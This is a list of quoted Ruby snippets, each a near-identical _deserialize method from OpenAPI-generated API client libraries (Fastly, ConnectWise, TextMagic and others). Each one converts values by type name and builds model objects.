"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Fastly.const_get(type)\n klass.respond_to?(:fastly_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n ::DateTime.parse(value)\n when :Date\n ::Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Models.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n ::DateTime.parse(value)\n when :Date\n ::Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Models.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :Time\n Time.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n # models (e.g. Pet) or oneOf\n klass = Hubspot::Cms::Performance.const_get(type)\n klass.respond_to?(:openapi_one_of) ? klass.build(value) : klass.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SmoochApi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Tradenity.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Tradenity.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = SamplifyAPIClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = OpsgenieClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = LemonWayClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = BudgeaClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = BudgeaClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n Nodeum.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = TextMagic.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n Date.parse value\n when :Date\n Date.parse value\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else\n # model\n temp_model = GroupDocsViewerCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ConnectWise.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
